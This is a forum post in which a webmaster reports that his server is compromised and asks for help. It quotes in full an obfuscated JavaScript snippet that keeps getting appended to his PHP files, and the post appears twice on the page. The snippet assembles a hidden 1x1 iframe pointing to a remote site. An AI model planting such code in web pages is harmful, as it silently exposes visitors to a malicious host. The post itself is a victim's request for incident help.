GoFuckYourself.com - Adult Webmaster Forum - View Single Post

camperjohn64 · 08-25-2011, 09:08 AM

I am getting this script, attached to the end of my PHP scripts all over my server:

Code:

<script>yd='co';mh='m';im='a.';rm='h';my='5';t='m/';qg='v';vp='if';x='me';a='p:/';gv='a';q='/r';xk='.';ei='htt';y='k';cw='9';w='s';u='8';dk='ra';f='ytv';iy='e';l='jus';b='ew';hh='rc';h='t';vu=vp.concat(dk,x);qm=w.concat(hh);ka=ei.concat(a,q,b,gv,l,iy,qg,im,yd,t,y,cw,u,my,f,xk,rm,h,mh);var tq=document.createElement(vu);tq.setAttribute('width','1');tq.setAttribute('height','1');tq.frameBorder=0;tq.setAttribute(qm,ka);document.body.appendChild(tq);</script>

I wrote a script to delete it, changed the passwords, but it's still showing up ever xxx hours.

Now what??!!?!!

1) How can I find if the server is comprimised?

2) How can I find if it's a script on my server that is automatically adding it?

3) What to do??

JM

Here is what I find on the net about that script:

http://blog.unmaskparasites.com/2011...ction-k985ytv/

08-25-2011, 09:08 AM
camperjohn64 Confirmed User Industry Role: Join Date: Feb 2005 Location: Los Angeles Posts: 1,531	Server comprimised, now what? I am getting this script, attached to the end of my PHP scripts all over my server: Code: <script>yd='co';mh='m';im='a.';rm='h';my='5';t='m/';qg='v';vp='if';x='me';a='p:/';gv='a';q='/r';xk='.';ei='htt';y='k';cw='9';w='s';u='8';dk='ra';f='ytv';iy='e';l='jus';b='ew';hh='rc';h='t';vu=vp.concat(dk,x);qm=w.concat(hh);ka=ei.concat(a,q,b,gv,l,iy,qg,im,yd,t,y,cw,u,my,f,xk,rm,h,mh);var tq=document.createElement(vu);tq.setAttribute('width','1');tq.setAttribute('height','1');tq.frameBorder=0;tq.setAttribute(qm,ka);document.body.appendChild(tq);</script> I wrote a script to delete it, changed the passwords, but it's still showing up ever xxx hours. Now what??!!?!! 1) How can I find if the server is comprimised? 2) How can I find if it's a script on my server that is automatically adding it? 3) What to do?? JM Here is what I find on the net about that script: http://blog.unmaskparasites.com/2011...ction-k985ytv/ __________________ www.gimmiegirlproductions.com Last edited by camperjohn64; 08-25-2011 at 09:09 AM..